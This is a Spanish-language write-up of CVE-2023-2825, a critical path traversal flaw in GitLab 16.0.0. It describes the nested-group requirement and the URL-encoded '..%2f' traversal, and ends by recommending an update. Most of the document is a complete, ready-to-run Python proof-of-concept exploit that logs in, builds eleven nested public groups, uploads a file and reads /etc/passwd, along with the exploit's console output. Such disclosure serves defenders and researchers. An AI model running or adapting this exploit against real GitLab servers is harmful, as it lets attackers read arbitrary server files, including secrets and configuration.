
el concepto de prueba escrito en Python para un usuario malintencionado no autenticado puede utilizar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de gravedad crítica.
El 23 de mayo de 2023 GitLab lanzó la versión 16.0.1 que corrigió una vulnerabilidad crítica, CVE-2023-2825, que afecta a la Community Edition (CE) y Enterprise Edition (EE) versión 16.0.0. La vulnerabilidad permite a usuarios no autenticados leer archivos arbitrarios a través de un fallo de path traversal. Fue descubierta por pwnie en HackerOne a través del programa de recompensas por errores.
En el momento de redactar este informe, no había ninguna prueba de concepto pública disponible.
Un usuario malintencionado no autenticado puede usar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un archivo adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de gravedad crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Esta vulnerabilidad tiene un requisito interesante: el proyecto debe estar anidado en al menos 5 grupos. En nuestras pruebas, encontramos una correlación directa entre la cantidad de grupos y los directorios que se pueden recorrer. La regla parece ser N + 1, lo que significa que si deseas recorrer 10 directorios, necesitas tener 11 grupos.
En una instalación estándar de GitLab, los archivos adjuntos se cargan en /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Por lo tanto, si deseas llegar a la raíz del sistema de archivos, debes retroceder 10 directorios y, por lo tanto, necesitas 11 grupos.
Cuando cargas un archivo como adjunto en un issue de GitLab, se envía una solicitud a POST - /:repo/upload. Esto devuelve una respuesta JSON con la URL del archivo, permitiéndote acceder al archivo.
La URL del archivo se compone de /:repo/uploads/:id/:file donde :file es el nombre del archivo en sí. Reemplazar :file con cualquier ruta de archivo hará que GitLab devuelva el archivo solicitado. GitLab no sanitiza esta ruta de archivo, lo que provoca path traversal.
Para explotar con éxito esta vulnerabilidad, debes codificar en URL la / en la ruta del archivo. GitLab lo leerá como un valor y lo decodificará internamente. No codificarlo hará que GitLab interprete la / en la ruta del archivo como parte de la ruta.
En nuestras pruebas, codificar solo la / fue suficiente para evitar errores de ruta de Nginx.
Los usuarios no autenticados solo pueden explotar esta vulnerabilidad en repositorios públicos que cumplan con los requisitos de grupos anidados. Se requiere autenticación para acceder al repositorio en sí.
Aquí está la prueba de concepto escrita en Python. Crea los 11 grupos, crea un repositorio público, carga un archivo y luego explota la vulnerabilidad para obtener el archivo /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
GitLab recomienda actualizar todas las versiones afectadas por este problema lo antes posible.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/